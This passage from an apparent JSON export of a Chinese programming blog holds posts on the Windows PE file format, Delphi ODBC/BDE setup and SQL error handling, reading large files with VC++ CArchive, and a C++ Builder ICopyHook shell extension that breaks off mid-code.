%xn\u0026quot;,*(p-3));\nprintf(\u0026quot;\u0026amp;i-2: %xn\u0026quot;,*(p-2));\nprintf(\u0026quot;\u0026amp;i-1: %xn\u0026quot;,*(p-1));\nprintf(\u0026quot;n\u0026quot;);\nprintf(\u0026quot;\u0026amp;i+4: %xn\u0026quot;,*(p+4));\nprintf(\u0026quot;\u0026amp;i+5: %xn\u0026quot;,*(p+5));\nprintf(\u0026quot;\u0026amp;i+6: %xn\u0026quot;,*(p+6));\nprintf(\u0026quot;\u0026amp;i+7: %xn\u0026quot;,*(p+7));\ngetch();\n}\n当我们输入 12345678 的时候可以看到，输出\ni: 12345678\n\u0026amp;i+0: 78\n\u0026amp;i+1: 56\n\u0026amp;i+2: 34\n\u0026amp;i+3: 12\n\u0026amp;i-4: 7c\n\u0026amp;i-3: ffffffff\n\u0026amp;i-2: 12\n\u0026amp;i-1: 0\n\u0026amp;i+4: ffffffc0\n\u0026amp;i+5: ffffffff\n\u0026amp;i+6: 12\n\u0026amp;i+7: 0\n正是\u0026amp;i,\u0026amp;i+1,\u0026amp;i+2,\u0026amp;i+3这四个字节中储存了i的值。 对于int，WORD,DWORD等等都要注意 big-endian 和 little-endian 。 3.3 RVA (Relative Virtual Address) 相对虚拟地址 \u0026nbsp;\u0026nbsp;\u0026nbsp; RVA是一个简单的相对于PE载入点的内存偏移。比如，PE载入点为0X400000,那么代码节中的地址0X401000的RVA为(target address) 0x401000 \u0026#8211; (load address)0x400000 = (RVA)0x1000.换句话说 RVA是0x1000,载入点为0X400000,那么该RVA的在内存中的实际地址就是0X401000。注意一下RVA是指内存中，不是指文件中。是 指相对于载入点的偏移而不是一个内存地址，只有RVA加上载入点的地址，才是一个实际的内存地址。 3.4 三种不同的地址 \u0026nbsp;\u0026nbsp;\u0026nbsp; PE的各种结构中，涉及到很多地址，偏移。有些是指在文件中的偏移，有的是指在内存中的偏移。一定要搞清楚，这个地址或者是偏移，是指在文件中，还是指在 内存中。第一种，文件中的地址。比如用16进制编辑器打开PE文件，看到的地址（偏移）就是文件中的地址，我们使用某个结构的文件地址，就可以在文件中找 到该结构。第二种，文件被整个映射到内存时，比如某些PE分析软件， 把整个PE文件映射到内存中，这时是内存中的地址，如果知道某一个结构在文件中的地址的话，那么这个PE文件被映射到内存之后该结构的在内存中的地址，可 以用文件中的地址加上映射内存的地址，就可以得到在该结构内存中的地址。第三种，执行PE时，PE文件会被载入器载入内存，这时经常需要的是RVA。比如 知道一个结构的RVA，那么载入点加上RVA就可以得到内存中该结构的实际地址。比如，某个程序，我们用16进制编辑器打开它，看到PE Header开始在16进制编辑器显示为000000C8的地方。于是我们在16进制编辑器显示为000000FC的地方找到了 OptionalHeader的ImageBase，值为400000h，那么当这个程序被执行时，如果内存中400000h处没有使用，该程序就会被载 入到那里。而我用CreateFileMapping将这个PE文件映射到内存中时，可以得到块内存的地址为5505024。对于映射入内存的这个PE文 件，我们就可以在内存中000000FCh+05505024h=5505120处找到这个PE的OptionalHeader的ImageBase。 3.5 几个重要结构的说明 PE Header 的 FileHeader 的 NumberOfSections：这是一个很重要的字段，用来确定文件中节的数目。 PE Header 的 OptionalHeader 的 IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];\n#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16\nDataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]：一个IMAGE_DATA_DIRECTORY 结构数组。到目前为止这个数组的长度是固定的，有16个元素，这16个元素分别代表\n#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory\n#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory\n#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Resource Directory\n#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // Exception Directory\n#define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // Security Directory\n#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // Base Relocation Table\n#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Debug Directory\n// IMAGE_DIRECTORY_ENTRY_COPYRIGHT 7 // (X86 usage)\n#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 // Architecture Specific Data\n#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 // RVA of GP\n#define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS Directory\n#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 // Load Configuration Directory\n#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 // Bound Import Directory in headers\n#define IMAGE_DIRECTORY_ENTRY_IAT 12 // Import Address Table\n#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 // Delay Load Import Descriptors\n#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 // COM Runtime descriptor\n每个元素是一个IMAGE_DATA_DIRECTORY结构，IMAGE_DATA_DIRECTORY定义如下。\ntypedef struct _IMAGE_DATA_DIRECTORY {\nDWORD VirtualAddress;\nDWORD Size;\n} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;\n第一个字段是一个RVA，第二个字段是一个大小。 Section Table 节表紧跟在OptionalHeader之后，是一个IMAGE_SECTION_HEADER结构的数组。该数组中成员的个数由 File Header (IMAGE_FILE_HEADER) 结构中 NumberOfSections 域的域值来定。节表中的成员是IMAGE_SECTION_HEADER 结构，IMAGE_SECTION_HEADER 结构的长度固定，长40个字节。整个Section Table 的长度不固定，等于 NumberOfSections*sizeof(IMAGE_SECTION_HEADER)。IMAGE_SECTION_HEADER 结构中，\nVirtualAddress：本节的RVA（相对虚拟地址）。\nPointerToRawData：这是本节基于文件的偏移量。 3.6 DOS MZ Header 中的 MZ \u0026nbsp;\u0026nbsp;\u0026nbsp; MZ是MZ格式的主要作者 Mark Zbikowski 的名字的缩写。 完 ","permalink":"https://hessian.cn/p/328.html","summary":"零 前言 \u0026nbsp;\u0026nbsp;\u0026nbsp; PE格式，是Windows的可执行文件的格式。Windows中的 exe文件，dll文件，都是PE格式。PE 就是Portable Executable 的缩写。Portable 是指对于不同的Windows版本和不同的CPU类型上PE文件的格式是一样的，当然CPU不一样了，CPU指令的二进制编码是不一样的。只是文件中各种 东西的布局是一样的。\n","title":"PE 格式学习总结（一）– PE文件概述"},{"content":"　我原来在万千的新闻组(news://news.webking.com.cn/)Delphi版上闲逛那段时间，发现经常有人提出一些数据库方面的技巧性问题，问题其实不难，但是要一个简单的解决方案，可能也破费思量，特别在此简单谈谈：\n1． 如何动态设置ODBC源\n很多时候程序员需要自动生成ODBC数据源，而不是指导客户\u0026quot;打开控制面板\u0026hellip; \u0026hellip; \u0026quot;，到底如何去做呢？相信很多人会选择编程修改注册表来实现这项功能，因为ODBC的详细信息全部存放在注册表的下述键值内：\n\u0026quot;HKEY_LOCAL_MACHINESOFTWAREODBC\u0026quot;\n修改一下ODBC的配置，通过前后的注册表比较，你可以发现一定的规律。在这里我只是想说，哥们，别这么犯傻了（如果我让你写一个通用的ODBC源处理程序，你得累死），用这个Windows ODBC API函数吧，\nfunction SQLConfigDataSource(hwndParent: Integer; fRequest: Integer;\nlpszDriverString: String; lpszAttributes: String): Integer;\nstdcall;external \u0026#8221;ODBCCP32.DLL\u0026#8221;;\n了解数据库编程的朋友都知道，数据库的访问方式不论DAO、ADO、ODBC或是BDE或是其它第三方的数据库连接控件，归根结底，都是一些个函数集，只要你愿意，你可以编写出自己的数据库访问方式用以替代。深入研究这些底层函数，很多时候会为你提供相当地便利。 SQLConfigDataSource这个函数MSDN有详细的说明，我不想整段翻译下来让你扁我，我只是结合流行的SQL Server谈谈如何有技巧的调用该函数。其它的数据库大同小异。\nSQLConfigDataSource(0, ODBC_ADD_SYS_DSN,\u0026#8221;SQL Server\u0026#8221;, \u0026#8221;DSN=Record_ODBC\u0026#8221;+ chr(0) + \u0026#8221;Server=(local)\u0026#8221;+ chr(0) + \u0026#8221;Database=master\u0026#8221;+ chr(0) + \u0026#8221;Description=DragonPC SQLServer ODBC Source\u0026#8221;+ chr(0)); 这是我的Delphi程序中调用该函数的一个实例，第一个参数是父窗口句柄，设置为0则该函数不显示任何对话框。第二个参数是操作类型，你需要定义如下的操作类型常量： Const\nODBC_ADD_DSN = 1; // Add a new user data source.\nODBC_CONFIG_DSN = 2; // Configure (modify) an existing user data source.\nODBC_REMOVE_DSN = 3; // Remove an existing user data source.\nODBC_ADD_SYS_DSN = 4; // Add a new system data source.\nODBC_CONFIG_SYS_DSN = 5; // Modify an existing system data source.\nODBC_REMOVE_SYS_DSN = 6; // Remove an existing system data source.\n从名字我们知道，要添加ODBC源，我们需要调用的是ODBC_ADD_SYS_DSN 或是ODBC_ADD_DSN参数。第三个参数也没有什么好说的，我们添加的是SQL Server数据库的ODBC源，所以填入\u0026#8221;SQL Server\u0026#8221;参数，如果需要建立Excel文件的ODBC数据源，我们可以填入\u0026#8221;Excel Files (*.xls)\u0026#8221;，这些字符串参数相信各位同志在添加ODBC源时，已经多次见过。\n关键的是第三个参数的设置，不同的数据库类型所支持的关键字是不一样的，这里仅仅就SQL Server所支持的关键字作一个简单说明：\nDSN：你的ODBC数据源名称。\nServer：你的数据库服务器名称，使用(local)指的是本地计算机安装的数据库。注：最新的SQL Server 2000支持一台计算机运行多个SQL Server服务，这个时候你需要指定SqlSever的InstanceName。\nAddress：指定SQL Server服务器的网络IP地址。\nDatabase：指定默认数据库名称。\nLanguage：指定默认语言。\nDescription：备注信息。\n详细的参数和信息可以查阅微软网站的以下网址。\nhttp://msdn.microsoft.com/library/psdk/dasdk/odch3kit.htm\nhttp://msdn.microsoft.com/library/psdk/sql/od_odbc_c_99yd.htm\n2． 如何动态设置BDE别名\n这个问题其实是考察程序员对BDE的 TSession组件的熟悉程度，一个数据库程序的建立，即使你没有显式的添加TSession组件，系统中依然存在一个名字为Session的 TSession对象，你可以在任何位置调用该对象的方法和属性。TSession类的很多方法可以帮助我们的应用程序获取系统BDE环境，下面介绍一个 代码片断用以添加一个BDE别名：\nvar\nBDEList : TStringList ;\n．．．\nbegin\n．．．\nBDEList := TStringList.Create () ; try\nSession.GetAliasNames(BDElist) ; // 获取系统所有BDE别名列表\nif BDEList.IndexOf(\u0026#8221;DragonPC\u0026#8221;)= -1 then begin // 如果没有我们的BDE别名\u0026quot;DragonPC\u0026quot;\nBDEList.Clear ;\nBDEList.Add(\u0026#8221;SERVER NAME=\u0026#8221; + \u0026#8221;SQLServerName\u0026#8221;)); // 数据库服务器名称\nBDEList.Add(\u0026#8221;DATABASE NAME=master\u0026#8221;) ; // 默认数据库\nBDEList.Add(\u0026#8221;USER NAME=sa\u0026#8221;); // 用户名\nSession.AddAlias(\u0026#8221;DragonPC\u0026#8221;, \u0026#8221;MSSQL\u0026#8221;, BDEList) ; // 添加一个MSSQL类型的BDE别名\nShowMessage(\u0026#8221;系统即将建立BDE别名！\u0026#8221;) ;\nSession.SaveConfigFile() ; // 存储BDE配置\nend;\nfinally\nBDEList.Free ;\nend;\n这么简单，用户就可以随时建立、删除和修改BDE别名（有兴趣的朋友可以查看TSession组件的源代码，看看调用了哪些BDE函数）。另外像 DeleteAlias，ModifyAlias，GetDatabaseNames，GetDriverNames， GetStoredProcNames，GetTableNames，GetPassword等等TSession类的方法，使用起来非常简单，通过 Delphi的随机帮助，读者可以试着自己调用一下看看。通过对Session的灵活应用，再配合我下面将要提到的扑捉SQL异常的技巧，你完全可以写一 个媲美SQL Explorer的通用数据库查询工具。\n3． 如何扑捉运行SQL语句时的错误\n老是有朋友在开发一些开放的数据库接口（比如Delphi的SQL Explorer工具）时发愁，既然是开放的，当然需要允许用户使用SQL语句访问数据库，这些还好办，一旦用户的运行SQL语句出现错误，程序员如何扑捉该异常呢？很简单，看看下面的函数： Const\nExecSQLMode = 0 ;\nOpenSQLMode = 1 ;\nResultRight = \u0026#8221;SQL query result is right\u0026#8221; ;\n．．．\nfunction RunSql(RunQuery: TQuery; Sqls: TStringList; var ErrorMsg: string; Mode: integer) : integer ; begin\nErrorMsg := ResultRight ;\nResult := 0 ;\ntry\nRunQuery.DatabaseName := \u0026#8221;RecordDB\u0026#8221; ;\nRunQuery.SQL.Clear() ;\nRunQuery.SQL.AddStrings(Sqls) ;\nif Mode = ExecSQLMode then\nRunQuery.ExecSQL()\nelse\nRunQuery.Open() ;\nexcept\non e:exception do ErrorMsg := e.Message + #13 + #10 +\u0026#8221;\u0026#8212; 错误是俺发现的 \u0026#8212;\u0026#8221; ;\nend;\nend;\n朋友看明白了吧，我的函数很简单，将SQL语句代码段作为参数传递给TQuery组件，通过设置查询方式（ExecSQLMode、 OpenSQLMode）来处理有结果集返回的数据查询语句（select）或是没有结果集返回的数据操作语言（update、delete、 insert、create等）。而异常的扑捉呢，我们扑捉所有异常的老祖宗Exception，因为Delphi的所有异常都是从Exception继 承下来的，这样一个简单的SQL语句运行和异常处理函数就完成了，一旦返回的ErrorMsg的值不是ResultRight，ErrorMsg就会返回 异常的信息，程序员就可以加以判断以处理不同的情况。\n","permalink":"https://hessian.cn/p/603.html","summary":"　我原来在万千的新闻组(news://news.webking.com.cn/)Delphi版上闲逛那段时间，发现经常有人提出一些数据库方面的技巧性问题，问题其实不难，但是要一个简单的解决方案，可能也破费思量，特别在此简单谈谈：\n","title":"Delphi数据库编程技巧"},{"content":"　笔者前不久曾遇到一个问题，解决之后的经验愿与大家分享。问题是这样的，有一批数据文件，数据格式如下：\n日期,开盘,最高,最低,收盘,成交量,成交金额 1996年5月13日,636.96,636.96,636.96,636.96,0,0,\n1996年5月14日,641.61,641.61,641.61,641.61,0,0,\n1996年5月15日,637.83,637.83,637.83,637.83,0,0,\n\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.\n要求将数据填写到四张表中，以便作相应的分析。笔者开始用CFile和CStdioFile类的方法读取件。Cfile类提供了基于二进制流的文件操 作，功能类似于C语言中的fread（）和fwrite（）函数。CStdioFile提供了基于字符串流的文件操作，功能类似于C语言中fgets（） 和fputs（）函数。但是笔者发现，使用这两个类进行文件操作时，对于一次文件读写的数据量的大小必须限制在65535字节以内。究其原因是在VC中访 问大于65535字节的缓冲区需要Huge型指针，而在CFile和CStdioFile类中，使用的是Far型的指针。由于Far型指针不具有跨段寻址 的能力，因此限制了一次文件读写的长度小于65535字节。如果传递给CFile和CStdioFile两个类的成员函数的数据缓冲区的大小大于 65535字节的时候，VC就会产生ASSERT错误。\n针对文件格式特点，笔者改用CArchive类进行读取如下： CFile SourceFile;//数据文件\nCString SourceData;//定义一临时变量保存一条记录\nSourceFile.Open(\u0026#8230;\u0026#8230;.);\nCArchive ar(\u0026amp;SourceFile,CArchive::load);\nwhile(NULL!=ar.ReadString(SourceData))//循环读取文件，直到文件结束\n{\nif(SourceData==\u0026quot;日期,开盘,最高,最低，收盘,成交量,成交金额\u0026quot;||SourceData==\u0026quot;\u0026quot;)\ncontinue;//跳过文件头部的提示信息\n//分析并填充// }\n在进行分析时，笔者采取了逐步分析并修改的办法，过程如下：\nint nYear;\nCString Year= SourceData.Left(SourceData.Find(\u0026quot;年\u0026quot;));//截取年前面的字符串\nnYear=atoi(Year);//类型转换\nSourceData=SourceData.Righ(SourceData.GetLength()-SourceData.Find(\u0026quot;年\u0026quot;)-2);//将年以及前面的字符删除。\n重复上面分析过程，直到记录末尾。\n通过上述方法，笔者成功地将文件读取并分析填充。\n","permalink":"https://hessian.cn/p/401.html","summary":"　笔者前不久曾遇到一个问题，解决之后的经验愿与大家分享。问题是这样的，有一批数据文件，数据格式如下：\n日期,开盘,最高,最低,收盘,成交量,成交金额 1996年5月13日,636.96,636.96,636.96,636.96,0,0,\n","title":"[转]visual c++对大型数据文件的读取"},{"content":"本文原出处已不知。原作：webber84， 经ccrun(老妖)修改并在BCB在调试通过。\nICopyHook 是一个用于创建拷贝钩子处理程序COM接口，它决定一个文件夹或者打印机对象是否可以被移动，拷贝，重命名或删除。Shell在执行这些操作之前，会调用 ICopyHook接口的CopyCallback方法对它们进行验证。CopyCallback返回一个int值指示Shell是否应该继续执行这个操 作。返回值IDYES表示继续，而返回值IDNO和IDCANCEL则表示终止。\n一个文件夹对象可以安装多个拷贝钩子处理程序。如果出现这种情况，Shell会依次调用每个处理程序。只有当每个处理程序都返回IDYES时，Shell才真正执行用户请求的操作。\n拷 贝钩子处理程序的作用是在上述四种操作执行前对它们进行验证，但是Shell并不会把操作的结果通知给拷贝钩子处理程序。而windows提供的API函 数FindFirstChangeNotification和FindNextChangeNotification却可以实现这个功能。因此，只有把这 种两种方法结合起来，才能对一个文件夹的状态进行完全的监控。\n拷贝钩子处理程序实现并不困难，首先创建一个作为进程内组件的COM对象， 它只需要暴露一个ICopyHook接口（当然还有IUnknown）。然后用regsrv32.exe注册这个COM组件。最后一步是向Shell注册 你的这个拷贝钩子处理程序，方法是在注册表HKEY_CLASSES_ROOTDirectoryShellexCopyHookHandlers 下创建一个名称任意的sub key，在此sub key中创建一个类型为REG_SZ的项并将你的COM对象的CLSID作为它的默认值就可以了。\n下面就是一个拷贝钩子的实现程序(注：以下代码经老妖改动并添加了详细操作过程，在BCB6中成功编译并通过测试)\n1. 从ICopyHook接口创建TCopyHook，从IClassFactory接口创建TClassFactory:\n// TCopyHook.h\n// TCopyHook类实现了ICopyHook接口，TClassFactory实现了IClassFactory接口\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\n#define NO_WIN32_LEAN_AND_MEAN\n#include \u0026lt;shlobj.h\u0026gt;\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\nclass TCopyHook: public ICopyHook\n{\npublic:\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; TCopyHook():m_refcnt(0) {}\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; STDMETHODIMP QueryInterface(REFIID iid,void **ppvObject);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; STDMETHODIMP_(ULONG) AddRef();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; STDMETHODIMP_(ULONG) Release();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; STDMETHODIMP_(UINT) CopyCallback(HWND hwnd, UINT wFunc, UINT wFlags,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; LPCTSTR pszSrcFile, DWORD dwSrcAttribs,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; LPCTSTR pszDestFile, DWORD dwDestAttribs);\nprivate:\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; int m_refcnt;\n};\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\nclass TClassFactory : public IClassFactory\n{\npublic:\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; TClassFactory():m_refcnt(0) {}\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; STDMETHODIMP QueryInterface(REFIID iid, void **ppvObject);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; STDMETHODIMP_(ULONG) AddRef();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; STDMETHODIMP_(ULONG) Release();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; STDMETHODIMP CreateInstance(IUnknown *pUnkOuter, REFIID riid, void **ppvObject);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; STDMETHODIMP LockServer(BOOL fLock);\nprivate:\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; int m_refcnt;\n};\n// TCopyHook.cpp\n// TCopyHook对象和TClassFactory对象的实现文件\n#include \u0026lt;stdio.h\u0026gt;\n#include \u0026quot;TCopyHook.h\u0026quot;\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\nextern LONG nLocks;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 对象计数，用于DllCanUnloadNow\nULONG __stdcall TCopyHook::AddRef()\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(m_refcnt == 0)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; nLocks++;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; m_refcnt++;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return m_refcnt;\n}\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\nULONG __stdcall TCopyHook::Release()\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; int nNewCnt = \u0026#8211;m_refcnt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(nNewCnt \u0026lt;= 0)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; nLocks\u0026#8211;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; delete this;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return nNewCnt;\n}\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\nHRESULT __stdcall TCopyHook::QueryInterface(REFIID dwIID, void **ppvObject)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(dwIID == IID_IUnknown)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; *ppvObject = static_cast\u0026lt;IUnknown*\u0026gt;(this);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; else\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(dwIID == IID_IShellCopyHook)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; *ppvObject = static_cast\u0026lt;ICopyHook*\u0026gt;(this);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; else\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return E_NOINTERFACE;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; reinterpret_cast\u0026lt;IUnknown*\u0026gt;(*ppvObject)-\u0026gt;AddRef();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return S_OK;\n}\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\n// 这就是CopyCallback方法，拷贝钩子的所有功能由它实现。参数的具体值参看MSDN\nUINT __stdcall TCopyHook::CopyCallback(HWND hwnd, UINT wFunc, UINT wFlags,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; LPCTSTR pszSrcFile, DWORD dwSrcAttribs,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; LPCTSTR pszDestFile, DWORD dwDestAttribs)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; char szMessage[MAX_PATH+14];\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; sprintf(szMessage, \u0026quot;对%s进行的操作，是否继续？\u0026quot;, pszSrcFile);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return MessageBox(NULL, szMessage, \u0026quot;确认\u0026quot;, MB_YESNO | MB_ICONEXCLAMATION);\n}\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\nULONG __stdcall TClassFactory::AddRef()\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(m_refcnt==0)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; nLocks++;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; m_refcnt++;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return m_refcnt;\n}\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\nULONG __stdcall TClassFactory::Release()\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; int nNewCnt = \u0026#8211;m_refcnt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(nNewCnt \u0026lt;= 0)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; nLocks\u0026#8211;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; delete this;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return nNewCnt;\n}\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\nHRESULT __stdcall TClassFactory::QueryInterface(REFIID dwIID, void **ppvObject)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 